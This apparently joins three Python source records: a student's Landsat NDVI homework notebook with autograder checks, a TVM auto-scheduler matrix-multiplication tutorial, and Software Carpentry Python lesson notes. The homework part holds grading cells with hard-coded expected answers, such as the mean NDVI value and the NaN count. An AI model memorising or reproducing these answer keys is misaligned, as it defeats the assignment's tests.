A range for min and max values for the data. \n\n\n    Returns\n    -------\n    band : xarray DataArray\n        An xarray with invalid values that are masked \n    \"\"\"\n    band = (rxr.open_rasterio(band_path, masked=True)\n           .rio.clip(crop_extent.geometry, from_disk=True)\n           .squeeze())\n    \n    # specify the valid range\n    if valid_range:\n            mask = (band <= 0) | (band > 10000)\n            band = band.where(~mask, np.nan)\n        \n    \n    return band\n\n# Function 2: Mask cloud bands and crop \n\ndef mask_crop_ndvi(all_band_paths,\n                  crop_bound, \n                  pixel_qa_path,\n                  vals):\n    \"\"\"Open a landsat band, mask potential clouds, and calculate NDVI.\n\n    Parameters\n    -----------\n    all_band_paths : list\n        a list for the xarray objects (using landsat  bands 4 and 5)\n    crop_bound: gpd GeoDataFrame\n        A geopandas dataframe  to crop the raster data (rasterio)\n    pixel_qa_path: xarray DataArray\n        An xarray DataArray with pixel qa values\n    vals: list\n        A list of values needed to create the cloud mask\n\n\n    Returns\n    -----------\n    ndvi_mark : Xarray Dataset\n        a cropped and masked xarray object containing NDVI values\n    \n    \"\"\"\n    # open all bands\n    bands = []\n    for band_path in all_band_paths: \n        band = open_clean_bands(\n            band_path=band_path,\n            crop_extent=crop_bound,\n            valid_range=(0, 10000))\n        bands.append(band)\n\n    \n    # open and mask cloud layer\n    cl_mask =  (rxr.open_rasterio(pixel_qa_path[0], masked=True)\n                    .rio.clip(crop_bound.geometry, from_disk=True)\n                    .squeeze())\n        \n    # final NVDI calcs \n    ndvi_xr = (bands[1]-bands[0]) / (bands[1]+bands[0])\n    \n    # apply cloud mask to NDVI\n    ndvi_mask = ndvi_xr.where(~cl_mask.isin(vals))\n    \n    return ndvi_mask\n\n\n# ## Create code to navigate directories for Figure 1 ##\n\n# In[6]:\n\n\n# Background code prior to functions\n\n# Navigate the site data\npath = os.path.join(\"ndvi-automation\", \n                   \"sites\")\nall_sites = glob(path + \"/*/\")\n\n# define path to HARV sites\nsite_name = os.path.basename(os.path.normpath(all_sites[0]))\n\n#Open shapefile for first site\nvector_dir = os.path.join(all_sites[0], \"vector\")\nsite_boundary_path = os.path.join(vector_dir,\n                                  site_name + \"-crop.shp\")\ncrop_bound = gpd.read_file(site_boundary_path)\ncrop_bound.plot()\nplt.show()\n\n# explore HARV landsat paths\nHARV_landsat_dirs = sorted(glob(os.path.join(\n                            all_sites[0], \"landsat-crop\", \"*\")))\n\n# pick the right directory for HARV LC080130302017031701T1-SC20181023151837\nHARV_dir = HARV_landsat_dirs[4]\n\n# grab the bands needed for NDVI \nHARV_band_paths = sorted(glob(os.path.join(HARV_dir,\n                                           \"*band*[4-5].tif\")))\n\n# get components\nHARV_path = os.path.normpath(HARV_dir)\nHARV_path_components = HARV_path.split(os.sep)\nHARV_date = HARV_path_components[-1][10:18]\n\n\n# In[7]:\n\n\n# Test Function 1 with a loop! \nbands = []\nfor band_path in HARV_band_paths: \n    band = open_clean_bands(\n            band_path=band_path,\n            crop_extent=crop_bound,\n            valid_range=(0, 10000))\n    bands.append(band)\n        \n# calculate NDVI \nndvi_2 = es.normalized_diff(bands[1], bands[0])\nep.plot_bands(ndvi_2,\n          cmap=\"Greys\",\n          vmin=-1)\nndvi_2_mean = ndvi_2.mean()\nprint(ndvi_2_mean)\n\n# test Function 2 with another loop for HARV\n# prep by creating cloud masks for functions to deal with pesky clouds \n\nhigh_cloud_confidence = em.pixel_flags[\n                        \"pixel_qa\"][\"L8\"][\"High Cloud Confidence\"]\ncloud = em.pixel_flags[\n    \"pixel_qa\"][\"L8\"][\"Cloud\"]\ncloud_shadow = em.pixel_flags[\n            \"pixel_qa\"][\"L8\"][\"Cloud Shadow\"]\n\nall_masked_values = cloud_shadow + cloud + high_cloud_confidence\n\n# Prep by open cloud mask layer for HARV\nHARV_pixel_qa_path = glob(os.path.join(HARV_dir, \"*qa*\"))\n\n\n#Now use with a for loop to generate NDVI for HARV site\nHARV_ndvi_clean = []\n\nfor band_path in HARV_band_paths:\n    ndvi_clean = mask_crop_ndvi(all_band_paths=HARV_band_paths,\n                                crop_bound=crop_bound,\n                                pixel_qa_path=HARV_pixel_qa_path,\n                                vals=all_masked_values)\n    site=HARV_path_components[2]\n    date=HARV_band_paths[0][-27:-19]\n    mean_ndvi=ndvi_clean.mean().values\n    # create output\n    output = [site,date,mean_ndvi]\n    HARV_ndvi_clean.append(output)\n\n#create dataframe from output and set date index\nHARV_df = pd.DataFrame(HARV_ndvi_clean,\n                       columns=[\"site\",\"date\",\"mean_ndvi\"])\nHARV_df['date'] = pd.to_datetime(HARV_df['date'],\n                                 format='%Y-%m-%d')\nHARV_df_indexed = HARV_df.set_index(\"date\")\n\n# test view the final cropped and cleaned NDVI data\nndvi_clean.plot.imshow(vmin=-1,\n                      vmax=1)\n\n\n# In[8]:\n\n\n# Create dataframe of mean NDVI in this cell using the functions created above\n# Important: to use the ungraded tests below as a sanity check,\n# name your columns: mean_ndvi and site\n# Call the dataframe at the end of the cell so the tests run on it!\n# Be sure that the date column is an index of type date\n# HINT: the time series lessons may help you remember how to do this!\n\n#clean and view the HARV dataframe \nHARV_df_final = HARV_df_indexed[:-1]\nHARV_df_final\n\n\n# In[9]:\n\n\n# This cell  is testing your data output above\n\nstudent_ndvi_ts_single_site = _\n\nsingle_scene_points = 0\n\n# Ensure the data is stored in a dataframe.\nif isinstance(student_ndvi_ts_single_site, pd.DataFrame):\n    print('\\u2705 Your data is stored in a DataFrame!')\n    single_scene_points += 1\nelse:\n    print('\\u274C It appears your data is not stored in a DataFrame. ',\n          'To see what type of object your data is stored in, check its type with type(object)')\n\n# Ensure that the date column is the index\nif isinstance(student_ndvi_ts_single_site.index, pd.core.indexes.datetimes.DatetimeIndex):\n    print('\\u2705 You have the index set to the date column!')\n    single_scene_points += 2\nelse:\n    print('\\u274C You do not have the index set to the date column.')\n\n# Ensure that the date column is datetime\nif isinstance(student_ndvi_ts_single_site.index[0], pd._libs.tslibs.timestamps.Timestamp):\n    print('\\u2705 The data in your date column is datetime!')\n    single_scene_points += 2\nelse:\n    print('\\u274C The data in your date column is not datetime.')\n\n# Ensure the site name is correct\nif student_ndvi_ts_single_site.site.values[0] == 'HARV':\n    print('\\u2705 You have the correct site name!')\n    single_scene_points += 5\nelse:\n    print('\\u274C You do not have the correct site name.')\n\nif np.allclose(0.281131628228094, student_ndvi_ts_single_site.mean_ndvi.values[0]):\n    print('\\u2705 You have the correct mean NDVI value!')\n    single_scene_points += 5\nelse:\n    print('\\u274C You do not have the correct mean ndvi value.')\n\nprint(\"\\n \\u27A1 You received {} out of 15 points for creating a dataframe.\".format(\n    single_scene_points))\nsingle_scene_points\n\n\n# ## Task 2:\n# \n# In the cell below, process all of the landsat scenes. Create a DataFrame that contains the following \n# information for each scene\n# \n# \n# |   | index  | site  | mean_ndvi  | \n# |---|---|---|---|\n# | Date  |   |   |   |\n# |  2017-01-07  | 0  | SJER  | .4  |  \n# \n# Be sure to call your dataframe at the end of the cell to ensure autograding works.\n# HINT: FOR THIS STEP, leave any rows containing missing values (`NAN`).\n\n# In[10]:\n\n\n# Create dataframe of NDVI including the cleaning data to deal with clouds\n\n# Important: to use the ungraded tests below as a sanity check,\n# name your columns: mean_ndvi and site\n# Don't forget to set date as the index and make the values of type datetime\n\n# Create dataframe by loping through file paths\n# Create empty list for dataframe\nndvi_list = []\n\n# loop for each site\nfor site_dir in all_sites:\n    print(\"Looping through\", site_dir)\n    asite = os.path.normpath(site_dir).split(os.sep)[-1]\n    print(\"Working through\", asite)\n    \n    # define crop_bound for each site\n    site_boundary_path = os.path.join(path, asite,\n                                      \"vector\", asite + \"-crop.shp\")\n    site_crop_bound = gpd.read_file(site_boundary_path)\n    site_crop_bound.plot()\n    plt.show()\n    \n    #get a list of subdirectories for each site \n    new_path=os.path.join(site_dir, \"landsat-crop\")\n    all_dirs=glob(new_path + \"/*/\")\n        \n    # loop through the subdirectories to get the data!  \n    for single_dir in all_dirs:\n        \n        # pull out date from subdirectory name\n        scene_date = single_dir.split(os.sep)[-2][-29:-21]\n        \n        # Create path for the pixel_qa_layer for each subdirectory scene\n        scene_pixel_qa_path = glob(os.path.join(single_dir, \"*qa*\"))\n        \n        # define band paths used for NDVI calcs in each subdirectory\n        total_band_paths = sorted(glob(os.path.join(single_dir,\n                                                    \"*band*[4-5].tif\")))\n\n        # calc NDVI\n        ndvi = mask_crop_ndvi(all_band_paths=total_band_paths,\n                           crop_bound=site_crop_bound,\n                           pixel_qa_path=scene_pixel_qa_path,\n                           vals=all_masked_values)\n        mean_ndvi = ndvi.mean(skipna=True).item()\n        # create output \n        output = [asite, scene_date, mean_ndvi]\n        #append\n        ndvi_list.append(output)\n        \n#create dataframe\nndvi_df = pd.DataFrame(ndvi_list,\n                       columns=[\"site\",\"date\",\"mean_ndvi\"])\nndvi_df['date'] = pd.to_datetime(ndvi_df['date'], format='%Y-%m-%d')\nndvi_df_indexed = ndvi_df.set_index(\"date\")\n\nndvi_df_indexed\n\n\n# In[11]:\n\n\n# Last sanity check before creating your plot (10 points)\n\n# Ensure that you call your dataframe at the bottom of the cell above\n# and that it has columns called: mean_ndvi and site\n\n# Ensure the data is stored in a dataframe.\nstudent_ndvi_df = _\n\ndf_points = 0\n\nif isinstance(student_ndvi_df, pd.DataFrame):\n    print('\\u2705 Your data is stored in a DataFrame!')\n    df_points +=2\nelse:\n    print('\\u274C It appears your data is not stored in a DataFrame. ',\n          'To see what type of object your data is stored in, check its type with type(object)')\n\n# Check that dataframe contains the appropriate number of NAN values\nif student_ndvi_df.mean_ndvi.isna().sum() == 15:\n    print('\\u2705 Correct number of masked data values!')\n    df_points +=2\nelse:\n    print('\\u274C The amount of null data in your dataframe is incorrect.')\n\n\n# Ensure that the date column is the index\nif isinstance(student_ndvi_df.index, pd.core.indexes.datetimes.DatetimeIndex):\n    print('\\u2705 You have the index set to the date column!')\n    df_points +=3\nelse:\n    print('\\u274C You do not have the index set to the date column.')\n\n# Ensure that the date column is datetime\nif isinstance(student_ndvi_df.index[0], pd._libs.tslibs.timestamps.Timestamp):\n    print('\\u2705 The data in your date column is datetime!')\n    df_points +=3\nelse:\n    print('\\u274C The data in your date column is not datetime.')\n\n# Output for timer, # DO NOT MODIFY\nend_time = datetime.now()\ntotal_time = end_time - start_time\nprint(\n    \"Your total run time for processing the data was {0}.\".format(total_time))\n\nprint(\"\\n \\u27A1 You received {} out of 10 points for creating a dataframe.\".format(\n    df_points))\n\ndf_points\n\n\n# In[12]:\n\n\n# Add only the plot code to this cell\n\n# This is the final figure of mean NDVI\n# for both sites across the year\n# with data cleaned to deal with clouds\n\n# Create plot\nfig, ax = plt.subplots(figsize=(12, 12))\nfig.suptitle(\"Annual NDVI Comparison\\n SJER and HARV Sites\", fontsize = 24)\n\n# Loops for each subplot\n\n#subplot 1\nfor site, df in ndvi_df_indexed.dropna().groupby('site'):\n    if site == \"HARV\":\n        loc = \"HARV\"\n        color = \"blue\"\n    else:\n        loc = \"SJER\"\n        color = \"orange\"\n    ax.plot(df.index,\n             df.mean_ndvi,\n             label=loc,\n             color=color,\n                marker=\"o\")\n    ax.legend(bbox_to_anchor=(1.05, 1), loc='upper left',\n              prop={'size': 11})\n    ax.set(xlabel = \"Date\",\n           ylabel = \"NDVI\")\n\n\n### DO NOT REMOVE LINES BELOW ###\nfinal_masked_solution = nb.convert_axes(plt, which_axes=\"current\")\n\n\n# In[13]:\n\n\n# Ignore this cell for the autograding tests\n\n\n# In[14]:\n\n\n# Ignore this cell for the autograding tests\n\n\n# # Question 1 (10 points)\n# \n# Imagine that you are planning NEON\u2019s upcoming flight season to capture remote sensing data in these locations and want to ensure that you fly the area when the vegetation is the most green.\n# \n# When would you recommend the flights take place for each site? \n# \n# Answer the question in 2-3 sentences in the Markdown cell below.\n\n# ## Answer ## \n# For the HARV site, the data shows highest vegetation density from May to October. For the SJER site, March and April show the highest vegetation amounts. \n\n# # Question 2 (10 points)\n# \n# How could you modify your workflow to look at vegetation changes over time in each site? \n# \n# Answer the question in 2-3 sentences in the Markdown cell below.\n\n# ## Answer ##\n# \n# To look for vegetation changes over time, you can compare the NDVI for the same month year-over-year. A higher NDVI for the same month year-over-year would indicate that the selected year has a higher vegetation year than previous years\n\n# # Do not edit this cell! (10 points)\n# \n# The notebook includes:\n# * additional Markdown cells throughout the notebook to describe: \n#     * the data that you used - and where it is from\n#     * how data are being processing\n#     * how the code is optimized to run fast and be more concise\n\n# # Do not edit this cell! (20 points)\n# \n# The notebook will also be checked for overall clean code requirements as specified at the **top** of this notebook. Some of these requirements include (review the top cells for more specifics): \n# \n# * Notebook begins at cell [1] and runs on any machine in its entirety.\n# * PEP 8 format is applied throughout (including lengths of comment and code lines).\n# * No additional code or imports in the notebook that is not needed for the workflow.\n# * Notebook is fully reproducible. This means:\n#    * reproducible paths using the os module.\n#    * data downloaded using code in the notebook.\n#    * all imports at top of notebook.\n\n# ## BONUS - Export a  .CSV File to Share (10 points possible)\n# \n# This is optional - if you export a **.csv** file with the columns specified above: Site, Date and NDVI Value you can get an additional 10 points.\n# \n# * FULL CREDIT: File exists in csv format and contains the columns specified.\n# We will check your github repo for this file!\n# \n\n# In[15]:\n\n\noutpath = os.path.join(\"ndvi-automation\\outputs\\mean_ndvi_both_sites.csv\")\nndvi_df_export = ndvi_df_indexed.reset_index()\nndvi_df_export.to_csv(outpath, index=False)\nndvi_df_export\n\n", "meta": {"hexsha": "dc54b0e4895aa50982e965f0e310fc5b6dedd3ec", "size": 23855, "ext": "py", "lang": "Python", "max_stars_repo_path": "jensen-widtfeldt-ea-2022-04-ndvi-automation.py", "max_stars_repo_name": "jensenwid/ea-2021-ndvi-automation-review", "max_stars_repo_head_hexsha": "b069e79f931dbd7b5edd8c66ebe9a7df8cfeebe8", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "jensen-widtfeldt-ea-2022-04-ndvi-automation.py", "max_issues_repo_name": "jensenwid/ea-2021-ndvi-automation-review", "max_issues_repo_head_hexsha": "b069e79f931dbd7b5edd8c66ebe9a7df8cfeebe8", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "jensen-widtfeldt-ea-2022-04-ndvi-automation.py", "max_forks_repo_name": "jensenwid/ea-2021-ndvi-automation-review", "max_forks_repo_head_hexsha": "b069e79f931dbd7b5edd8c66ebe9a7df8cfeebe8", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.93314367, "max_line_length": 291, "alphanum_fraction": 0.6896248166, "include": true, "reason": "import numpy", "num_tokens": 5971, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.35936414516010196, "lm_q2_score": 0.24508501313237174, "lm_q1q2_score": 0.08807476623586713}}
{"text": "# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements.  See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership.  The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License.  You may obtain a copy of the License at\n#\n#   http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied.  See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\"\"\"\nAuto-scheduling matrix multiplication for CPU\n=============================================\n**Author**: `Lianmin Zheng <https://github.com/merrymercy>`_, \\\n            `Chengfan Jia <https://github.com/jcf94/>`_\n\nDifferent from the existing :ref:`autotvm <tutorials-autotvm-sec>` which relies on \nmanual templates to define the search space, the auto-scheduler does not require any templates.\nThe auto-scheduler is template-free, so users only need to write the computation declaration without\nany schedule commands or templates.\nThe auto-scheduler can automatically generate a large\nsearch space and find a good schedule in the space.\n\nWe use matrix multiplication as an example in this tutorial.\n\"\"\"\n\nimport numpy as np\nimport tvm\nfrom tvm import te, testing, auto_scheduler\n\n######################################################################\n# Define the computation\n# ^^^^^^^^^^^^^^^^^^^^^^\n# To begin with, let us define the computation of a matmul with bias add.\n# The function should return the list of input/output tensors.\n# From these tensors, the auto-scheduler can get the whole computational graph.\n\n\n@auto_scheduler.register_workload\ndef matmul_add(N, L, M, dtype):\n    A = te.placeholder((N, L), name=\"A\", dtype=dtype)\n    B = te.placeholder((L, M), name=\"B\", dtype=dtype)\n    C = te.placeholder((N, M), name=\"C\", dtype=dtype)\n\n    k = te.reduce_axis((0, L), name=\"k\")\n    matmul = te.compute((N, M), lambda i, j: te.sum(A[i, k] * B[k, j], axis=k), name=\"matmul\")\n    out = te.compute((N, M), lambda i, j: matmul[i, j] + C[i, j], name=\"out\")\n\n    return [A, B, C, out]\n\n\n######################################################################\n# Create the search task\n# ^^^^^^^^^^^^^^^^^^^^^^\n# We then create a search task with N=L=M=128 and dtype=\"float32\"\n# If your machine supports avx instructions, you can\n# - replace \"llvm\" below with \"llvm -mcpu=core-avx2\" to enable AVX2\n# - replace \"llvm\" below with \"llvm -mcpu=skylake-avx512\" to enable AVX-512\n\ntarget = tvm.target.Target(\"llvm\")\ntask = auto_scheduler.create_task(matmul_add, (128, 128, 128, \"float32\"), target)\n\n# Inspect the computational graph\nprint(task.compute_dag)\n\n######################################################################\n# Next, we set parameters for the auto-scheduler.\n#\n# * `num_measure_trials` is the number of measurement trials we can use during the search.\n#   We only make 10 trials in this tutorial for a fast demonstration. In practice, 1000 is a\n#   good value for the search to converge. You can do more trials according to your time budget.\n# * In addition, we use `RecordToFile` to dump measurement records into a file `matmul.json`.\n#   The measurement records can be used to query the history best, resume the search,\n#   and do more analyses later.\n# * see :any:`auto_scheduler.auto_schedule.TuningOptions`: for more parameters\n\ntune_option = auto_scheduler.TuningOptions(\n    num_measure_trials=10, measure_callbacks=[auto_scheduler.RecordToFile(\"matmul.json\")]\n)\n\n######################################################################\n# Run the search\n# ^^^^^^^^^^^^^^\n# Now we get all inputs ready. Pretty simple, isn't it?\n# We can kick off the search and let the auto-scheduler do its magic.\n# After some measurement trials, it will return the best schedule it found.\n\nsch, args = auto_scheduler.auto_schedule(task, tuning_options=tune_option)\n\n######################################################################\n# We can lower the schedule to see the IR after auto-scheduling.\n# The auto-scheduler correctly performs optimizations including multi-level tiling,\n# parallelization, vectorization, unrolling and operator fusion.\n\nprint(tvm.lower(sch, args, simple_mode=True))\n\n######################################################################\n# Check correctness and evaluate performance\n# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n# We build the binary and check its correctness and performance.\n\nfunc = tvm.build(sch, args)\na_np = np.random.uniform(size=(128, 128)).astype(np.float32)\nb_np = np.random.uniform(size=(128, 128)).astype(np.float32)\nc_np = np.random.uniform(size=(128, 128)).astype(np.float32)\nout_np = a_np.dot(b_np) + c_np\n\nctx = tvm.cpu()\na_tvm = tvm.nd.array(a_np, ctx=ctx)\nb_tvm = tvm.nd.array(b_np, ctx=ctx)\nc_tvm = tvm.nd.array(c_np, ctx=ctx)\nout_tvm = tvm.nd.empty(out_np.shape, ctx=ctx)\nfunc(a_tvm, b_tvm, c_tvm, out_tvm)\n\n# Check results\ntvm.testing.assert_allclose(out_np, out_tvm.asnumpy(), rtol=1e-3)\n\n# Evaluate execution time.\nevaluator = func.time_evaluator(func.entry_name, ctx, min_repeat_ms=500)\nprint(\n    \"Execution time of this operator: %.3f ms\"\n    % (np.median(evaluator(a_tvm, b_tvm, c_tvm, out_tvm).results) * 1000)\n)\n\n\n######################################################################\n# Using the record file\n# ^^^^^^^^^^^^^^^^^^^^^\n# During the search, all measuremnt records are dumpped into the record\n# file \"matmul.json\". The measurement records can be used to re-apply search results,\n# resume the search, and perform other analyses.\n\n######################################################################\n# Here is an example where we load the best schedule from a file,\n# print the equivalent python schedule API, and build the binary again.\n\n# Load the measuremnt record for the best schedule\ninp, res = auto_scheduler.load_best(\"matmul.json\", task.workload_key)\n\n# Print equivalent python schedule API. This can be used for debugging and\n# learning the behavior of the auto-scheduler.\nprint(\"Equivalent python schedule:\")\nprint(task.compute_dag.print_python_code_from_state(inp.state))\n\n# Rebuild the binary. This shows how you can apply the best schedule from a\n# log file without reruning the search again.\nsch, args = task.compute_dag.apply_steps_from_state(inp.state)\nfunc = tvm.build(sch, args)\n\n######################################################################\n# A more complicated example is to resume the search.\n# In this case, we need to create the search policy and cost model by ourselves\n# and resume the status of search policy and cost model with the log file.\n# In the example below we resume the status and do more 5 trials.\n\n\ndef resume_search(task, log_file):\n    cost_model = auto_scheduler.XGBModel()\n    cost_model.update_from_file(log_file)\n    search_policy = auto_scheduler.SketchPolicy(\n        task, cost_model, init_search_callbacks=[auto_scheduler.PreloadMeasuredStates(log_file)]\n    )\n    tune_option = auto_scheduler.TuningOptions(\n        num_measure_trials=5, measure_callbacks=[auto_scheduler.RecordToFile(log_file)]\n    )\n    sch, args = auto_scheduler.auto_schedule(task, search_policy, tuning_options=tune_option)\n\n\n# resume_search(task, \"matmul.json\")\n\n######################################################################\n# .. note::\n#   We cannot run the line above because of the conflict between\n#   python's multiprocessing and tvm's thread pool.\n#   After running a tvm generated binary the python's multiprocessing library\n#   will hang forever. You have to make sure that you don't run any tvm\n#   generated binaries before calling auot-scheduler's search.\n#   To run the function above, you should comment out all code in\n#   \"Check correctness and evaluate performance\" section.\n#\n#   You should be careful about this problem in your applications.\n#   There are other workarounds for this problem.\n#   For example, you can start a new thread/process (with the builtin python library\n#   threading or multiprocessing) and run the tvm binaries in the new thread/process.\n#   This provides an isolation and avoids the conflict in the main thread/process.\n#   You can also use :any:`auto_scheduler.measure.LocalRPCMeasureContext` for auto-scheduler,\n#   as shown in the GPU tutorial (:ref:`auto-scheduler-conv-gpu`).\n", "meta": {"hexsha": "918030d21e54c95897a493609612cd0f9e0d0352", "size": 8546, "ext": "py", "lang": "Python", "max_stars_repo_path": "tutorials/auto_scheduler/tune_matmul_x86.py", "max_stars_repo_name": "ThunderDboss/incubator-tvm", "max_stars_repo_head_hexsha": "8de10e328e8480b55c140ee818a4e6c7df814bdd", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tutorials/auto_scheduler/tune_matmul_x86.py", "max_issues_repo_name": "ThunderDboss/incubator-tvm", "max_issues_repo_head_hexsha": "8de10e328e8480b55c140ee818a4e6c7df814bdd", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tutorials/auto_scheduler/tune_matmul_x86.py", "max_forks_repo_name": "ThunderDboss/incubator-tvm", "max_forks_repo_head_hexsha": "8de10e328e8480b55c140ee818a4e6c7df814bdd", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-04-08T07:08:04.000Z", "max_forks_repo_forks_event_max_datetime": "2020-04-08T07:08:04.000Z", "avg_line_length": 44.0515463918, "max_line_length": 100, "alphanum_fraction": 0.6748186286, "include": true, "reason": "import numpy", "num_tokens": 1954, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.1801066618860355, "lm_q1q2_score": 0.08794309238111231}}
{"text": "#!/usr/bin/env python3\n\n#### Software Carpentry Programming with Python ####\n\n#### Before class ####\n\n# ipython notebook located in Dropbox folder, render in nbviewer, share link to latter so students can follow along (and download notebook)\n# check software installation: Python v 3.X (Anaconda)\n\n#### Objectives ####\n\n# why python?\n#   We're teaching you how to program, and we have to use something\n#   free, well documented, and everyone can run it\n#   large userbase\n#   easy for novices to learn\n#   super popular on campus!\n# motivation: inflammation in patients who have been given new treatment for arthritis\n#   load data into memory, calculate average inflammation per day across all patients, plot to share info with colleagues\n#   data: CSV, comma separated values\n#   rows contain information for a single patient (observations)\n#   columns represent measurements on successive days\n\n#### Setup ####\n\n# many ways to interact with Python\n#   python in terminal\n#   ipython in terminal\n#   save script in text editor\n#   IDE like spyder\n#   notebook: web application that combines code, graphs, and text\n#   interactive mode in terminal, chevrons (>>>) is prompt, waiting for input\n#   scripting mode: save commands in file (ends in .py), execute entire file at once\n# about our tools\n#   Anaconda: distribution (way of obtaining) Python;\n#       includes extra packages like ipython, spyder\n#   conda: package manager that comes with Anaconda, installs/updates packages\n#   jupyter notebook: installed with Anaconda\n\n# setting up jupyter project\n#   launch Jupyter Notebook from Anaconda\n#   terminal window must stay open, this is kernel (running python)\n#   web browser is how you interact with notebook\n#   create project directory (new folder), rename, then move into it\n#   click \"New\" in upper right hand, then select \"Python3\"\n#   creates notebook (*.ipynb, or ipython notebook file)\n#   autosaves, or can save manually\n#   click on title to rename\n# executing code in a jupyter notebook:\n#   enter code in cell and execute by pressing Shift + Return/enter\n#   output is printed directly below cell, prefaced by Out[ ]:\n#   add new cell with + button\n#   can add Markdown cells with nicely formatted text\n#   comments prefaced with # (not read/executed by python)\n#   commands and output saved in notebook\n#   talk about other menu options and buttons to remove/add/run cells\n#   example notebook: https://github.com/rasilab/machkovech_2018/blob/master/scripts/NA43_competition.ipynb\n\n#### Analyzing patient data ####\n\n# Objectives: intro to libraries, read in data, assign values to variables, select data values, operations on arrays, simple graphs\n\n# include human-readable (but not python interpreted) comments following hash signs\n\n# use python as calculator\n3 + 5\n# shift+enter to execute command\n\n# assign value to variable\nweight_kg = 60\n# variable names:\n#   can include letters, digits, and underscores\n#   cannot start with a digit\n#   are case sensitive\n\n# data types:\n#   integers\n#   floating point numbers (decimals)\n#   strings (characters)\n# weight_kg is integer\n# to create as floating point\nweight_kg = 60.0\n# to create string\nweight_kg_text = 'weight in kilograms:'\n\n# using variables\n# display value of variable\nprint(weight_kg)\n# print is a function\n# can display multiple items at once\nprint(weight_kg_text, weight_kg)\n\n# perform arithmetic inside print function\nprint('weight in pounds:', 2.2 * weight_kg)\n# note: this doesn't change the value of weight_kg!\nprint(weight_kg)\n\n# assign new value to weight_kg\nweight_kg = 65.0\nprint('weight in kilograms is now:', weight_kg)\n# variable names as sticky notes (analogy)\n\n## Challenge: What values do the variables mass and age have after each statement in the following program? Test your answers by executing the commands.\nmass = 47.5\nage = 122\nmass = mass * 2.0\nage = age - 20\nprint(mass, age)\n\n## Challenge: What does the following program print out?\nfirst, second = 'Grace', 'Hopper'\nthird, fourth = second, first\nprint(third, fourth)\n\n# libraries: collections of additional code that provide more functionality to perform specific tasks\n# load library\nimport os\nimport urllib.request\nimport zipfile\nimport numpy\n\n# download data\nurllib.request.urlretrieve(\"http://swcarpentry.github.io/python-novice-inflammation/data/python-novice-inflammation-data.zip\", \"python-novice-inflammation-data.zip\")\n# unzip data\nzipData = zipfile.ZipFile('python-novice-inflammation-data.zip')\nzipData.extractall()\n\n# load data into python (using library)\nnumpy.loadtxt(fname='data/inflammation-01.csv', delimiter=',')\n# numpy.loadtxt(...) is a function call\n#   run function loadtxt\n#   belongs to numpy library\n#   dotted notation in function call means whatever appears before dot contains the thing after the dot\n# parameters: specific information that is sent to (passed) to function call\n#   name of file\n#   delimiter\n\n# assign data to variable (so we can recall it later)\ndata = numpy.loadtxt(fname='data/inflammation-01.csv', delimiter=',')\n# show the variable's value\nprint(data)\n# what type of thing is data?\nprint(type(data))\n# find type of data contained within array (data)\nprint(data.dtype)\n# show shape of data\nprint(data.shape)\n# output is rows, columns; rows are the individual patients, and the columns are their daily inflammation measurements\n# arrays have members, or attributes, which use the dot nomenclature because they have the same part-and-whole relationship\n\n# access a specific value\nprint('first value in data:', data[0, 0])\n# python begins indexing (counting) at 0\nprint('middle value in data:', data[30, 20])\n\n# select sections of data (slicing)\nprint(data[0:4, 0:10])\n# end bound is NOT inclusive (up to but not including)\n# can start at indeces besides 0\nprint(data[5:10, 0:10])\n# use empty bound to include the end of axis\nsmall = data[:3, 36:] # assign to value\nprint('small is:')\nprint(small)\n\n# perform math on array\ndoubledata = data * 2.0\n# view output\nprint('original:')\nprint(data[:3, 36:])\nprint('doubledata:')\nprint(doubledata[:3, 36:])\n\n# perform operation involving two arrays\ntripledata = doubledata + data\nprint('tripledata:')\nprint(tripledata[:3, 36:])\n\n## Challenge: We can slice character strings as well! Given the following:\nelement = 'oxygen'\nprint('first three characters:', element[0:3])\nprint('last three characters:', element[3:6])\n# What is the value of element[:4]? What about element[4:]? Or element[:]?\nelement[4:]\nelement[:]\n\n## Challenge: What is element[-1]? What is element[-2]?\nelement[-1]\nelement[-2]\n\n# Given those answers, explain what element[1:-1] does.\n# Creates a substring from index 1 up to (not including) the final index, effectively removing the first and last letters from \u2018oxygen\u2019\n\n# perform calculation across entire array\nprint(numpy.mean(data)) # find mean\n\n# use multiple assignment to obtain descriptive values of data\nmaxval, minval, stdval = numpy.max(data), numpy.min(data), numpy.std(data)\n\nprint('maximum inflammation:', maxval)\nprint('minimum inflammation:', minval)\nprint('standard deviation:', stdval)\n\n# to find available functions and information:\n#   type name of something, followed by dot, then hit tab (ipython and notebooks)\n#   select a function or attribute and add question mark to find help documentation\n#   help(thing.attribute) is same as above\n\n# view max inflammation per patient or per day\n# create temporary array for data desired\npatient_0 = data[0, :] # 0 on the first axis (rows), everything on the second (columns)\nprint('maximum inflammation for patient 0:', numpy.max(patient_0))\n\n# combine selection and function call (skip temp variable)\nprint('maximum inflammation for patient 2:', numpy.max(data[2, :]))\n\n# average across all rows (axis 0)\nprint(numpy.mean(data, 